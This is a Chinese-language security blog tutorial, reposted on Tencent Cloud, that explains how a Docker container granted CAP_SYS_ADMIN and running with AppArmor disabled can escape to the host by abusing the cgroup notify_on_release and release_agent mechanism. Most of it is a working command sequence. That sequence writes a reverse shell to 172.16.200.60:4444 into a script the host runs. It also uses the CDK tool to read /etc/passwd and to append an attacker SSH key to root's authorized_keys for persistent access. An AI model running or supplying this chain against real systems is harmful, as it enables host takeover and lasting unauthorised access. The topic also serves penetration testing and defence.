前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

作者头像
谢公子
发布2023-09-01 09:43:58
4690
发布2023-09-01 09:43:58
举报
文章被收录于专栏:谢公子学安全谢公子学安全

当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。

环境搭建

执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置

代码语言:javascript
复制
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest

在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability

也可以手动检测Capability

代码语言:javascript
复制
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb

利用notify-on-release进行容器逃逸

在容器内挂载宿主机cgroup的memory

代码语言:javascript
复制
#将cgroup进行挂载
mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test
#接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全
mkdir /tmp/test/x

第二步就需要我们设置notify_on_release文件内容为1,设置release_agent文件的对应路径为宿主机的可写目录upperdir

代码语言:javascript
复制
echo 1 > /tmp/test/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/test/release_agent

其中,cmd为需要宿主机执行的命令,本次使用sh反弹shell:

代码语言:javascript
复制
echo '#!/bin/sh' > /cmd
echo 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmd
chmod a+x /cmd

清除cgroup.procs中的进程,触发release_agent执行cmd文件进行反弹shelll。该命令启动一个sh进程,将sh进程的PID写入到/tmp/test/x/cgroup.procs中。这里的\$\$表示sh进程的PID。在执行完sh -c后,sh进程会自动退出,这样Cgroup /tmp/test/x 中就不再包含任何任务,/tmp/test/release_agent文件里的shell将被操作系统执行。

代码语言:javascript
复制
sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"

也可以使用CDK来执行命令。CDK会劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。

代码语言:javascript
复制
./cdk run mount-cgroup "cat /etc/passwd"

可以写入公钥文件,注意这里最后需要加个 |

代码语言:javascript
复制
./cdk run mount-cgroup "echo 'ssh-rsa xx    '>> /root/.ssh/authorized_keys | "

但是还不能免密登录,由于等过这种方式写的公钥文件权限的原因,还需要之行如下命令进行权限修改。

代码语言:javascript
复制
./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-06-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档